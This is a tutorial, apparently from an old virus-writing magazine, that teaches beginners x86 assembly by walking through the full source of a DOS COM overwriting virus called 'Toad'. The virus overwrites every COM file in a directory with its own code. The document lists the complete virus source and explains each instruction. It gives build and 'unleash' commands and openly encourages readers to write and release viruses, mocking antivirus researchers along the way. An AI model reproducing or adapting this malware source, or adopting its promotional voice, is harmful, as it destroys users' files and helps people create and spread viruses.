Lesson 1
The Overwriting Virus
By Horny Toad

Lesson 2 Lesson 3 Lesson 4

I spent many days pondering what would be the best and most effective way to teach a beginner how to write virii. I could start off with an in-depth lesson on assembly language, but I am sure that it would bore you to tears without having a practical example of what I was talking about. I have looked at many of the virus writing tutorials and frankly, I am not pleased with the method, the way that they begin a person's adventure on the road to virus creation.

Dark Angel's guide to virus writing is definitely helpful, but it begins with the assumption that you know how to code assembly. He also doesn't touch on the most basic type of virus, the COM overwriting virus. This most basic type of virus should be taken advantage of due to its very forgiving code structure. It is an easy to understand small virus, therefore allowing the beginner to grasp all of the basic structures of an assembly program and still retain a majority of the techniques that are used in more advanced creations. However advanced a virus' delivery system is or its stealth anti-anti-virus defenses are, it still needs to use the standard read, write, and comparing functions.

I have also taken a glance at many of the other tutorials and magazines that are floating around the web and found that they are mainly designed for the intermediate to advanced programmer. This is a major gripe that I have today and, in my opinion, a key reason for the decline in virus writing advances and individuality. There was a boom in '89 - '91 in the virus community. Many firsts were coming out. Code optimization was an issue and major concern. The tighter the code, the more efficient the virus. Currently, I am seeing a large number of hacks of old virii and not enough new concepts and initiative. My approach to teaching virus writing will be to go back and start with the basics. Through a procedural process, the beginner will learn assembly by seeing the discussed techniques in an actual application. I will also allow the beginner to activate the virii without destroying his system. When I have written a virus, I will activate it on my own system. I know the inner workings of the virus so well that I have no fears that it will get out of control. That is something that I demand of my previous students in writing virii. Before you release a virus out in the wild, make sure that you know what it does, how to stop it just in case, and finally, know whether or not it really works. I can't believe how many times I have downloaded virus code that doesn't work. Here you have people distributing code that has no hope of even compiling! These people are the AV shithead's wet dream; they are doing the AV's work for them. They are also allowing others to study your code that doesn't work, quite the viscous circle if you think about it. Oh well, enough preaching. I told you to slap me if I start to ramble on so much. Let's get on to your first lesson, your first virus!

Virus #1

I hope this doesn't sound confusing, but assembly is both very difficult and very easy to understand. If you take the basic concepts one step at a time and see them in action, I am confident that you will have no problems. Assembly is very difficult in the fact that it is a very unforgiving computer language to learn. I swear that every time I write even the most simple of programs, I am always holding my breath while TASM is doing its work. The slightest error in your code can be disastrous at compiling time. Assembly programs are also difficult in the fact that you are dealing with a low-level language. When I write C++, VBA, and PASCAL programs, I use a wide variety of state of the art processing and application software which allows easy manipulation, organization, and error correcting of my code. On the other hand, when you work with assembly, you get a little more down and dirty and personal with the computer. For the most part, the compiling and creation programs for assembly are all DOS based, rather than the pretty windows environment that we are usually used to seeing. Assembly is easy in the fact that, when used correctly, most code is very structured and organized through the use of tight procedures and subroutines. As I will show you in this first lesson, it is very easy to identify routines within the program as to what their global function is in its execution.

Here is a listing of the instructional virus that I have written. Keep in mind that no major attempts have been made at breaking any world records with this virus, it is purely for instructional purposes. We will go through every piece of it so, by the end of the lesson, it will look very familiar and be completely understandable. Don't get discouraged when you first see this, it will become clear soon enough.

    code    segment
            assume  cs:code,ds:code
            org     100h
    toad    proc    near

    first_fly:
              mov     ah,4eh
    find_fly:
            xor     cx,cx
            lea     dx,comsig
            int     21h
            jc      wart_growth

    open_fly:
            mov     ax,3d02h
            mov     dx,9eh
            int     21h

    eat_fly:
            xchg    bx,ax
            mov     ah,40h
            mov     cx,offset horny - offset first_fly
            lea     dx,first_fly
            int     21h

    stitch_up:
            mov     ah,3eh
            int     21h
              mov     ah,4fh
              jmp     find_fly

    wart_growth:
              mov     ah,09h
              mov     dx,offset wart
              int     21h

    cya:    int     20h

    comsig  db      "*.com",0
    wart    db      'Congratulations! You have infected all the COM files
    in this ',10,13
              db      'directory with the Toad instructional virus. Have a
    nice day.',10,13,'$'
    horny   label   near
    toad    endp
    code    ends
            end     first_fly

That's it. Are you still with me? This is the base code that we will be dealing with for our first virus. I am going to divide this virus up into separate pieces and we will learn the individual parts and what they do for the virus.

Initially, our virii will be using the COM file format. The COM file is an older type of file format than the EXE format, but a lot easy to understand and a good place to start off with. A COM file is limited in the size that it can take up. It can only be one segment long, or 65,536 bytes. At first, when dealing with overwriting virii, this size limitation will not be a concern for us. In future lessons, when we start working with appending virii, size limitations will play a big part in deciding which files we want to infect or leave alone. The TOAD virus that is in lesson 1 will show you the general format of the COM file. When looking at the actual instructions and directives, don't worry too much about the actual spaces between words and lines. Try to follow the general format of the TOAD virus because I have tried to stay with most of the programming conventions in assembly. The more and more code that you read, the better that you will get.

    code    segment

The segment directive defines the parameters for a segment. In this instance we are defining the code segment. All of the executable code, the meat of our program will lie inside of the code segment. This segment does not necessarily have to be named "code" segment, but it is only logical, and a good programming convention, to name it the "code" segment. If we were dealing with a larger program, one that had many procedures of external calls, we would definitely want to define a specific segment as our data segment separate from the code. Since this is a very small piece of code, the two will be intermixed.

    assume  cs:code,ds:code

The assume directive lies within the code segment and matches the name that you gave your segment, such as code, with associated register. In our program, we are stating that the code and data segment registers will be associated with the "code" segment. What does this mean? Basically we are still setting up the parameters of our COM file. We are following convention by defining where things are in our program and how they are set up. What is the CS and DS registers? The code segment register is going to contain the starting address of your programs code segment. Essentially, it tells your computer where to begin to look for your executable code. Another register that I might as well bring up is the IP or instruction pointer register. The job of the IP is to contain the offset address of the next line of code that is to be executed. What is an offset address? An offset address is not a true address of a line in your program, rather a value of the distance away from a given point. If you put two concepts together, the code segment register added to the instruction point register will give you the next executable line in your program. The CS will stay constant as the IP counts up the lines of code.

    org     100h

I would like you to commit this to memory - since we are making COM files the org 100h directive will always follow the assume directive. This directive is telling the computer that your COM file is located ad 100 hex or 256 bytes. This 100 hex distance is actually an offset directly after the PSP or program segment prefix (See Appendix 2 for an example of the PSP format). The value 100h is placed in the IP, telling the computer where to begin. PSP contains information about your program and is created in memory when the program is loaded. In other words, the PSP is not a permanent structure that is saved with the program. I am going to end the discussion on the PSP for now, due to the fact that we will be referencing it later on in the program for information of the host we want our virus to infect.

    toad    proc    near

Although not actually necessary, I am including a procedure directive to demonstrate good programming convention. A procedure is essentially a subroutine within the code segment. Larger virii will contain many procedures, which can be called upon to perform a certain task. Give the procedure a name and specify it near. When we get into larger programs that deal with calling procedures in different segments, we will experiment with the FAR specifier. For now, I wanted to include this so you would recognize the directive if you see it again in other code examples.

    first_fly:

            mov     ah,4eh

Now we get to the meat of the program, the actual virus. If you take a look at the virus as a whole, you can see that I have labeled different routines throughout the code. Each one of these routines has a specific function within the code. The labels should be descriptive as to what they accomplish or do. The first on happens to be labeled first_fly. This reminds me that this is the routine that finds a file to infect. The label also allows the program to jump to it if you need to execute the routine again.

Oh no, the dreaded topic is now with us: registers. What in the world is a register? First I'll explain what a register is, and then I will try to put them into an understandable perspective. The basic concept of registers is very easy to understand. The aspect that makes registers difficult occurs when you think that you are getting a grasp at using them, therefore, we will stick with the basics. A register is used to initiate instructions to the computer to execute a desired action. A register can be used to address memory and provide basic arithmetic functions. Registers are also used for the handling of data input and output. The four general registers that we will be using in this virus are AX, BX, CX, and DX (See Appendix 1 for a list of other registers). The accumulator register, or AX, is used for input/output operations and arithmetic calculations. BX, or the base register is used for calculations and can be used as an index to extend addressing. CX, or the count register can also be used for calculations and also as a control counter for loop operations. DX is the data register which like AX is used for input/output operations and multiplying and dividing operations which use large numbers. Terrific, now what does all of this mean? My grandfather had this old antique calculator that weighed about one hundred pounds. What you did was push these big old buttons down and pulled a large lever back, which made the calculations and printed the answer on a piece of paper. Visualize this: the numbers that you are pushing on the calculator are just like setting values in the general registers, as far as input/output operations are concerned. With each, you are giving the machine a set of conditions, information to process. The big lever on the calculator is like the dos interrupts. Just as you would pull the lever to get an answer, the interrupts initiate the computer to process the conditions that you have set in the general registers and give appropriate output. This is a very simplistic view of how the registers work, but if you at least grasp the concept, you are doing great!

Oh, let's get back on track with this routine. As I said before, the purpose of the get_fly routine is to find a file to infect. Actually, the exact output will be to find the first file in the directory that has the attributes we want. Therefore, we need to load the conditions into the general registers and execute an interrupt. One thing that I failed to mention about the general registers is that they are all 16 bit registers with a high and a low portion each 8 bits a piece. AX divides into its high/low portions as such: AH for the high portion, and AL for the low portion, each being 8 bits. All of the general registers follow the same breakdown: BH - BL, CH - CL, and DH - DL. The values that need to be loaded into the general registers for this routine are 4e hex into AH, CX needs to be zero in order to set normal file attributes, and finally, DX needs a string containing the file specs we are looking for. In order to move the value 4e hex into AH we use the MOV command. The MOV command transfers the value of the second operand to the first without changing the value of the second operand. In other words, MOV AH, 4eh should read "move the value 4e hex into AH".

    find_fly:
    xor     cx,cx

The next task that we need to do is zero the value of CX. This can be done two ways. The obvious way, which you probably already guessed, would be to MOV CX, 0, which would work. As I mentioned before, virus writers need to try to optimize and tighten their code, therefore the command that uses the least amount of space should be used. The MOV CX, 0 takes 3 bytes of space, while the XOR CX, CX takes only 2 bytes. XOR or "exclusive or" is a logical instruction that, when both operands are equal, the first operand is cleared to zero. Anyway, as long as you understand the concept, I'm happy.

    lea     dx,comsig

The next thing we need to do is load the string with the file specs we are looking for into DX. The file specs that we are looking for are COM files. The string is therefore *.COM. This is a wildcard search for any file with the extension ".COM" at the end of it. The string is defined at the comsig address in the data segment of our virus. In order to move this string into DX, we need to LEA DX, comsig, or <L>oad the <E>ffective <A>ddress of comsig into DX. We could also use the MOV command for this operation, which would look like this - MOV DX, offset comsig. This essentially does the same thing by loading the offset of the address of comsig into DX.

    int     21h

The INT command executes the desired function that you have set up. Avoiding much of the detail, the program halts and the interrupt vector table is accessed for the address of your specified interrupt. There are 256 possible interrupts, although, if you add all the possibilities there are with different register settings, there are hundreds of instructions that can be initiated. See Ralf Brown's Interrupt List (address for list is mentioned in article 10 - "Need Further Help") for a listing of all the interrupts. As I mentioned before, the interrupt is executing the routine that we have specified through the loading of the general registers. Now it is time to process the output.

    jc      wart_growth

Our next instruction will be the conditional jump. Just like it sounds, if certain conditions are met, the offset of wart_growth, in this example, is added to the IP and the program continues functioning at location wart_growth, which is user defined. There are many conditional jumps that exist. Scroll down to Appendix 3 to view examples of the other conditional jumps. There is also an unconditional jump, JMP that jumps regardless of existing conditions. The jump instruction can be used as a way to skip over data or execute another routine. In this instance we perform a check to see if certain conditions exits. Once the interrupt has been completed from the previous line, if a program was found, the carry flag is set to zero, if not it is set to one. The JC command checks to see if the carry flag is set to one. If so, it jumps to wart_growth and executes the command at that offset. If the carry flag is set to zero, signifying that a program was found, the jump is ignored and the next line is executed. All right, all right, calm down... I realize you are probably saying, "Toad, what the hell is a flag?" Flags will be dealt with in detail in the next issue of the magazine, but for now, the flags hold the current status of the computer and the processing that has been done. Among many of their uses, flags can be used to save or test certain conditions that the computer is currently set at. Understand?

    open_fly:
            mov     ax,3d02h
            mov     dx,9eh
            int     21h

Ok, assuming that our virus was successful in finding a COM file in the directory, we now need to open the file. This is accomplished by an int 21 with the following general register settings: First 3d hex needs to be loaded into Alt. AL needs to be loaded with a certain access code. We will be using code 02h to open the file in read/write mode. 00h in AL would open it in read only and 01h in AL would be write only. Remember that AX is a 16-bit register consisting of two portions, AH and AL. We can therefore load both values in at the same time. We do this by loading AX with 3d02h. Remember to always use the hex values so that you don't get them confused. A common mistake is to execute these simple dos interrupts without putting the "h" after int 21. The computer would read this and have a shit fit because you were using a decimal value. Stay cool, stay hex. Once AX is taken care of, we move onto DX. DX needs to be loaded with the ASCIIZ string, which is the file name of the poor bastard we are about to infect. I can hear it now... "What the hell is 9eh, it sure doesn't look like a file name to me?" Relax. 9e hex is not a string; rather it is an offset to the address containing the string. 9e hex is located within the PSP that we talked about earlier, in an area called the DTA or <D>isk <T>ransfer <A>rea. Remember that the PSP starts at 00h. The address for the beginning of the DTA is 80 hex. Within the DTA is information on the file that was found in the previous routine. What we need is the file name, which is located at offset 1eh from the beginning of the DTA. If we add these offsets together, we get 9eh. Load 9e hex into the DX register. We now execute an int 21h to execute the routine.

    eat_fly:
            xchg    bx,ax
            mov     ah,40h
            mov     cx,offset horny - offset first_fly
            lea     dx,first_fly
            int     21h

The task that we are now dealing with is the actual infection of the opened file. For this we will be using int 21h with 40 h loaded in Alt. In the previous routine, when the file was opened, the computer assigned the file a unique file handle and placed it in AX. Unfortunately, we need that file handle in BX for the write record function. Easy enough...All we do is MOV BX, AX, right? Correct, that would work although, we are still worried about optimizing. I would therefore like to take the time to introduce a new directive, Xchg or exchange. This command allows us to exchange data between two registers, which is exactly what we want to do. We also save 1 byte using the xchg rather than the MOV. Every bit (or should I say Byte) counts. CX needs to be loaded with the amount of bytes that we want to write. Instead of a numerical amount, we are going to cheat and let the computer figure out the distance between offsets of assigned labels. We are telling the computer that the amount of the distance from first_fly to horny is the amount of bytes we want to write. Finally, DX needs to be loaded with the address of from which we want to write. The address of first_fly is loaded into DX. This is the beginning of the code that we want written to the infected file. Do the familiar int 21h and the infection is complete.

    stitch_up:
            mov     ah,3eh
            int     21h
            mov         ah,4fh
              jmp       find_fly

Now that the file is infected, we need to close up the file with int 21h and 3e hex in AH. Since we already put the file handle in BX, we don't have to worry about that. Now our virus will start to look for the next file to infect. We load 4f hex in ah and jump back to the rest of the finding file routing. You will see that we use the same general register loads for this routine. The entire TOAD virus is one big loop. It continues on infecting one file after another until the carry flag is set to one, indicating that no further files were found. A message is then displayed and the virus terminates.

    wart_growth:
              mov     ah,9
              mov     dx,offset wart
              int     21h

The next routine can actually be deleted and the virus would still work. All that wart_growth does is display a message on the screen. This is done by an int 21h with 09h loaded into AH. The address of the string, which is defined later in the virus, that we want to display to the screen needs to be loaded into DX, which you already know how to do. After the message is displayed to the screen, signifying the end of the virus, the next line (cya) is executed.

    cya:    int     20h

After the message is displayed, the virus needs to terminate operation. Loading 4CH into AH and doing an int 21h does this. You will also see int 20h being used to terminate a program, but this is an old obsolete interrupt, although, it still does work. Use either. When using int 20h, no registers need to be set.

    comsig  db      "*.com",0

    wart    db      'Congratulations! You have infected all the COM files
    in this',10,13
                 db      'directory with the Toad instructional virus. Have a
    nice day.',10,13,'$'

We now get to the easy section of the virus, the data section. This is where we define our data. The first thing that we are going to define is comsig. This is my signature of a COM file, the wildcard character (*) and the ".com" extension. We use the define byte, of DB, to define a string, which is located within parenthesis. The string cannot go past the end of the line. When assigning "*.com" to comsig, place a comma and 0 to signify the end of the string. When assigning the character string to wart, I have included the 10 and 13 at the end of each line. What this does is advance to the next line. If, after the first line, the 10 and 13 were omitted, the two strings would run together and print to screen together. The $ at the end of the second line ends the string.

    horny   label   near

Horny is a label within the toad procedure. Its only real purpose is to act as an addressable offset for defining the length of virus code to infect the file with. There are a number of other uses for the label directive, which we will cover in a later lesson.

    toad    endp
    code    ends
    end     first_fly

The next three lines essentially close up the virus code. "Toad endp" terminates the toad procedure that was initiated with "toad proc near." "Code ends" defines the end of the code segment. If I had defined a data segment, I would have ended it with "data ends." The end directive marks the end of the virus. First_fly indicates to the computer where to start execution of the code, which should be somewhere in the code segment. Sorry for the brevity of the description of the final lines, but they really are simple, they are completing, or closing up the beginning lines of our virus code.

One thing that I might as well mention now is commenting your code. Putting comments in your source code helps you to remember what each routing, line, and instruction does. This may not be very important when you are dealing with a virus that is under a page long, but when you start writing longer more in depth code, you might need little comments implanted here and there to remind you what each section does. The symbol that initiates a comment is the semi-colon. If you remember the old basic REM statement, everything after the indicator is not executed. In fact, the assembler does not even compile the comments, so there is absolutely no reason that you shouldn't put in pages of comments. Here is an example:

    find_fly:
            xor     cx,cx                     ;zero out value of cx
            lea     dx,comsig                 ;load our com file signature
            int     21h                           ;do the good ole dos inter
            jc      wart_growth               ;no more files found/message

Compiling and Unleashing the Toad Virus

Well, congratulations, you have finished the first lesson in virus writing. My goal at the beginning of this tutorial was to introduce you to the most basic type of virus, the overwriting virus. Through this introduction, I also wanted to explain some of the basic assembly instructions and directives. I feel that I have done both. Understand that you will not be an expert virus programmer after reading this text, rather you will have taken your first step on the adventure of creating wonderful virii.

The next step for you to do is compile this virus and watch it infect a file. The program that you will be using to compile the source code is TASM. TASM is a very awesome compiler. Please, do not use MASM. The linker program that you will be using is TLINK, which turns the compiler's output into an executable program. It really doesn't matter which editor that you use to type the asm file with. You can actually use any word processor that you want. When it comes time to compiling the virus, switch to dos and follow the instructions below. I would like for you to type the virus out yourself, but I have included a zipped directory, create, that contains the coded asm file. In order to compile the virus, save the virus as an ".asm" file. With TASM in the same directory, type:

    C:\>tasm toad.asm  (You can actually do this from any directory that you want)

The result should be:

    Turbo Assembler Version 2.01

    Assembling file:         toad.asm
    Error Messages:          none
    Warning Messages:        none
    Passes:                  1
    Remaining Memory:        418k (or something similar)

If there was an error in the code, TASM will indicate it in the error messages line. If you have typed the code in yourself and there is an error, revert back to the file "toad.asm" and take a look at my code, it works. If there are too many problems with your code and you'd just like to see how all this stuff works, switch to the "create" directory and type the above instructions again. There is a copy of the "toad.asm" and TASM and TLINK in this directory. What TASM has done is convert the ASM file into an OBJ file. In order to get an executable COM file, we need to use the linker. Type:

    C:\>tlink /t toad.obj

Tlink will return TOAD.COM in the current directory. You now have a virus in front of you. Don't get scared, it won't bite. Now you will need to move the virus from the current directory to the pond directory. Type:

    C:\>copy toad.com c:\pond\

Then type :

    C:\>cd ..\pond

This will move you to the pond directory. Now list the contents of the directory by typing:

    C:\pond>dir

You will see that there are two files in this directory, TOAD.COM and FLY.COM. TOAD.COM is your virus and FLY.COM is the file that you are going to infect. FLY.COM is just a simple COM file that does absolutely nothing. Easy prey! Take a note of the size of the two files, 6 and 180. Now unleash the virus by typing:

    C:\pond>toad

The message that we defined in wart will be displayed. Now list the contents of the directory again. You will now see that both of the files are the same size. FLY.COM is now infected. Unfortunately, you will now see the downsides of this form of virus; it infects all COM files in the current directory regardless of whether or not they have already been infected. In future issues of the magazine, I will show you techniques of checking whether a file has already been infected. If all your attempts to compile and link the toad virus fail, I have included a compiled copy of the toad virus and many fly.com files in the TOAD directory. Change to the TOAD directory and type toad. The fly files will become infected.

    Appendix 1 - The Registers

     AX     Accumulator
     BX     Base register
     CX     Counting register
     DX     Data register
     DS     Data Segment register
     ES     Extra Segment register
     SS     Stack Segment register
     CS     Code Segment register
     BP     Base Pointers register
     SI     Source Index register
     DI     Destiny Index register
     SP     Stack Pointer register
     IP     Next Instruction Pointer register
     F      Flag register

    Appendix 2 - The PSP (from Ralf Brown's Interrupt List)

    Format of Program Segment Prefix (PSP):
    Offset  Size    Description     (Table 1032)
     00h  2 BYTEs   INT 20 instruction for CP/M CALL 0 program termination
                    the CDh 20h here is often used as a signature for a valid PSP
     02h    WORD    segment of first byte beyond memory allocated to program
     04h    BYTE    (DOS) unused filler
                    (OS/2) count of fake DOS version returns
     05h    BYTE    CP/M CALL 5 service request (FAR CALL to absolute 000C0h)
                    BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh
     06h    WORD    CP/M compatibility--size of first segment for .COM files
     08h  2 BYTEs   remainder of FAR JMP at 05h
     0Ah    DWORD   stored INT 22 termination address
     0Eh    DWORD   stored INT 23 control-Break handler address
     12h    DWORD   DOS 1.1+ stored INT 24 critical error handler address
     16h    WORD    segment of parent PSP
     18h 20 BYTEs   DOS 2+ Job File Table, one byte per file handle, FFh = closed
     2Ch    WORD    DOS 2+ segment of environment for process (see #1033)
     2Eh    DWORD   DOS 2+ process's SS:SP on entry to last INT 21 call
     32h    WORD    DOS 3+ number of entries in JFT (default 20)
     34h    DWORD   DOS 3+ pointer to JFT (default PSP:0018h)
     38h    DWORD   DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x)
                    used by SHARE in DOS 3.3
     3Ch    BYTE    DOS 4+ (DBCS) interim console flag (see AX=6301h)
                    Novell DOS 7 DBCS interim flag as set with AX=6301h
                    (possibly also used by Far East MS-DOS 3.2-3.3)
     3Dh    BYTE    (APPEND) TrueName flag (see INT 2F/AX=B711h)
     3Eh    BYTE    (Novell NetWare) flag: next byte initialized if CEh
                    (OS/2) capabilities flag
     3Fh    BYTE    (Novell NetWare) Novell task number if previous byte is CEh
     40h  2 BYTEs   DOS 5+ version to return on INT 21/AH=30h
     42h    WORD    (MSWindows3) selector of next PSP (PDB) in linked list
                    Windows keeps a linked list of Windows programs only
     44h    WORD    (MSWindows3) "PDB_Partition"
     46h    WORD    (MSWindows3) "PDB_NextPDB"
     48h    BYTE    (MSWindows3) bit 0 set if non-Windows application (WINOLDAP)
     49h    BYTE    unused by DOS versions <= 6.00
     4Ch    WORD    (MSWindows3) "PDB_EntryStack"
     4Eh  2 BYTEs   unused by DOS versions <= 6.00
     50h  3 BYTEs   DOS 2+ service request (INT 21/RETF instructions)
     53h  2 BYTEs   unused in DOS versions <= 6.00
     55h  7 BYTEs   unused in DOS versions <= 6.00; can be used to make first FCB
                      into an extended FCB
     5Ch 16 BYTEs   first default FCB, filled in from first commandline argument
                    overwrites second FCB if opened
     6Ch 16 BYTEs   second default FCB, filled in from second commandline argument
                      overwrites beginning of commandline if opened
     7Ch  4 BYTEs   unused
     80h 128 BYTEs  commandline / default DTA
                    command tail is BYTE for length of tail, N BYTEs for the tail,
                      followed by a BYTE containing 0Dh

    Appendix 3 - Examples of various JUMP commands

    JA      - Jump if Above
    JAE     - Jump if Above/Equal
    JB      - Jump if Below
    JBE     - Jump if Below/Equal
    JC      - Jump if Carry
    JE      - Jump if Equal
    JG      - Jump if Greater
    JGE     - Jump if Greater/Equal
    JL      - Jump if Less
    JLE     - Jump if Less/Equal
    JMP     - Jump
    JNA     - Jump if Not Above
    JNAE    - Jump if Not Above/Equal

There are many other jump commands. In the next edition of the mag, I will include a detailed reference of all the jump commands and the flags that are tested. The understanding of how this command works is very important.

[Lesson 2]